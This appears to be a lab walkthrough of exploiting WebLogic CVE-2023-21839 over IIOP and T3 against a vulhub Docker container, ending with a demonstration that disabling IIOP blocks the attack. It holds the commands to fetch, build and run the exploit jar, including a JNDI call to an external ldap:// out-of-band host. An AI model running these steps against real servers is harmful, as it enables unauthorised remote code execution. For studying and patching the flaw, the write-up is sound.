IIOP is a TCP/IP protocol stack that implements the GIOP protocol, allowing CORBA objects to communicate and interact over the Internet.
RMI-IIOP is a way of implementing the Java remote method invocation (RMI) protocol, which extends the IIOP protocol with the functionality of remote calling Java objects through RMI.
No Java dependency is required, construct the protocol and directly RCE through socket
The NAT network problem of IIOP has been solved (Docker and public network targets can be tested)
Tested in Windows/Mac OS/Linux and WebLogic 12/14
Please use JDK 8u191 or below to start WebLogic and build JNDI Server by yourself
Exploiting VulnHub 12.2.1.3-2018
»dockerpullvulhub/weblogic:12.2.1.3-2018»dockerrun-d-p7001:7001-p9002:9002--nameweblogic-vulnhub-12213-2018--hostnameweblogic-vulnhub-12213-2018--ulimitnofile=1024:65536-v $PWD:/u01/oracle/propertiesvulhub/weblogic:12.2.1.3-2018»dockercontainerls130↵CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMESbc98f59ca86dvulhub/weblogic:12.2.1.3-2018"/u01/oracle/createA…"AboutanhouragoUpAboutanhour0.0.0.0:7001->7001/tcp,:::7001->7001/tcp,0.0.0.0:9002->9002/tcp,:::9002->9002/tcpweblogic-vulnhub-12213-2018»dockercontainerlogsweblogic-vulnhub-12213-2018...<Oct 7, 2024 7:28:10,575 AM GMT><Notice><JMX><BEA-149512><JMX Connector Server started at service:jmx:iiop://172.17.0.2:7001/jndi/weblogic.management.mbeanservers.runtime.><Oct 7, 2024 7:28:10,722 AM GMT><Notice><JMX><BEA-149512><JMX Connector Server started at service:jmx:iiop://172.17.0.2:7001/jndi/weblogic.management.mbeanservers.domainruntime.><Oct 7, 2024 7:28:10,728 AM GMT><Notice><JMX><BEA-149512><JMX Connector Server started at service:jmx:iiop://172.17.0.2:7001/jndi/weblogic.management.mbeanservers.edit.><Oct 7, 2024 7:28:11,564 AM GMT><Notice><Server><BEA-002613><Channel "Default" is now listening on 172.17.0.2:7001 for protocols iiop, t3, ldap, snmp, http.><Oct 7, 2024 7:28:11,564 AM GMT><Notice><WebLogicServer><BEA-000331><Started the WebLogic Server Administration Server "AdminServer"for domain "base_domain" running in development mode.><Oct 7, 2024 7:28:11,564 AM GMT><Notice><Server><BEA-002613><Channel "Default[1]" is now listening on 127.0.0.1:7001 for protocols iiop, t3, ldap, snmp, http.><Oct 7, 2024 7:28:11,564 AM GMT><Notice><Server><BEA-002613><Channel "Default" is now listening on 172.17.0.2:7001 for protocols iiop, t3, ldap, snmp, http.><Oct 7, 2024 7:28:11,565 AM GMT><Notice><Server><BEA-002613><Channel "Default[1]" is now listening on 127.0.0.1:7001 for protocols iiop, t3, ldap, snmp, http.>»nmap-Pn-n-p7001127.0.0.1-sCPORTSTATESERVICE7001/tcpopenafs3-callback|_weblogic-t3-info:T3protocolinuse (WebLogic version:12.2.1.3)
Running the exploit against a patched target we get the following error:
Panic or other errors means that the target is not vulnerable. In this example it's because the IIOP function is disabled.
Java - T3
WebLogic's implementation of the RMI specification uses a proprietary protocol known as T3. You can think of T3 (and secure T3S) as a layer to expose/allow JNDI calls by clients.
T3 is the protocol used to transport information between WebLogic servers and other types of Java programs.
Exploiting from WebLogic 12.2.1.4 container
## Create base file (wlfullclient.jar)[oracle@12214-weblogic lib]$ java -jar /u01/oracle/wlserver/modules/com.bea.core.jarbuilder.jarCreatingnewjarfile:wlfullclient.jar## Upload payload to container[oracle@12214-weblogic lib]$ curl -OL http://172.17.0.1/CVE_2023_21839.java[oracle@12214-weblogic lib]$ curl -OL http://172.17.0.1/META-INF/MANIFEST.MF[oracle@12214-weblogic lib]$ mkdir META-INF[oracle@12214-weblogic lib]$ mv MANIFEST.MF META-INF/## Create .class file[oracle@12214-weblogic lib]$ mv wlfullclient.jar CVE_2023_21839.jar[oracle@12214-weblogic lib]$ javac -cp CVE_2023_21839.jar CVE_2023_21839.java[oracle@12214-weblogic lib]$ ls |grepCVE_2023_21839CVE_2023_21839.classCVE_2023_21839.jarCVE_2023_21839.java## Update base file with payload[oracle@12214-weblogic lib]$ jar -uvf CVE_2023_21839.jar CVE_2023_21839.class[oracle@12214-weblogic lib]$ jar -uvfm CVE_2023_21839.jar META-INF/MANIFEST.MF## Execute exploit[oracle@12214-weblogic lib]$ java -jar CVE_2023_21839.jar localhost:7001 ldap://zmpnx0cd2tzgorszf6mmfdt21t7kvkj9.oastify.com## Java version[oracle@12214-weblogic lib]$ java -versionjavaversion"1.8.0_411"Java(TM) SE Runtime Environment (build1.8.0_411-b60)JavaHotSpot(TM) 64-BitServerVM (build 25.411-b60,mixedmode)
Running the exploit we now get the following error:
Reading the logs we can see it is "because the incoming protocol iiop is not enabled", and we've successfully eliminated the attack vector.
»dockercontainerlogsweblogic-vulnhub-12213-2018...<Oct 7, 2024 8:51:07,332 AM GMT><Warning><Socket><BEA-000443><The connection attempt was rejected because the incoming protocol iiop is not enabled on channel Default[iiop].>